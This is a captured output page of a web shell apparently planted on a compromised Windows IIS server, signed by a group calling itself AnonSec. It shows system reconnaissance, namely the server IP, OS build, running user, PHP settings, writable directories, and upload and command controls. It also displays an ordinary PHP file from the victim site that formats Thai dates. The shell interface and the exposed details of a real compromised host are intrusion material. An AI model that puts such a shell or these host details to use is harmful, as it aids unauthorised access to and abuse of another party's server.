DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.127
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/umedia3/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/umedia3/inc/ymd_datestr.php
<?
function ymd_datestr($a,$mode="full") {
	////func("ymd_datestr($a) ");
	global $thaimonstr;
	global $thaimonstrbrief;
	/*
	$today=date("Y-n-j");
	$yesterday=date("Y-n-j", mktime(0, 0, 0, date('n'), date('j')-1, date('Y')));;
	$cmdday=date("Y-n-j",$a);
	if ($cmdday==$today) {
		$result_dt1="วันนี้";
	} elseif ($cmdday==$yesterday) {
		$result_dt1="เมื่อวานนี้";
	} else {
		$result_dt1= date(" j/",$a) . $thaimonstr[date("n",$a)] . "/". (date("Y",$a)+543) ;
	}
	*/
	if (floor($a)==0) {
		return "ไม่ได้ระบุวัน";
	}
		$result_dt1= @date(" j/",$a) . $thaimonstr[@date("n",$a)] . "/". (@date("Y",$a)+543) ;

	if ($mode=="shortdt") {
		return "<nobr>".@date("H:i",$a). "</nobr> <nobr>".@date(" j",$a)  . " ". $thaimonstrbrief[@date("n",$a)] . " ". substr(@date("Y",$a)+543,-2) ."</nobr>";
	} 
	if ($mode=="datetime") {
		return @date(" j",$a)  . " ". $thaimonstrbrief[@date("n",$a)] . " ". substr(@date("Y",$a)+543,-2) . " " .@date("H:i",$a);
	} 
	if ($mode=="time") {
		return @date("H:i",$a);
	} 

	if ($mode=="shortd") {
		return "<nobr>".@date(" j",$a)  . " ". $thaimonstrbrief[@date("n",$a)] . " ". substr(@date("Y",$a)+543,-2) ."</nobr>";
	} 

	if ($mode=="full") {
		return "<nobr>".@date("H:i",$a). "</nobr> <nobr>".$result_dt1."</nobr>";
	} 
	if ($mode=="date") {
		return $result_dt1;
	} 
}
?>

Anon7 - 2022
AnonSec Team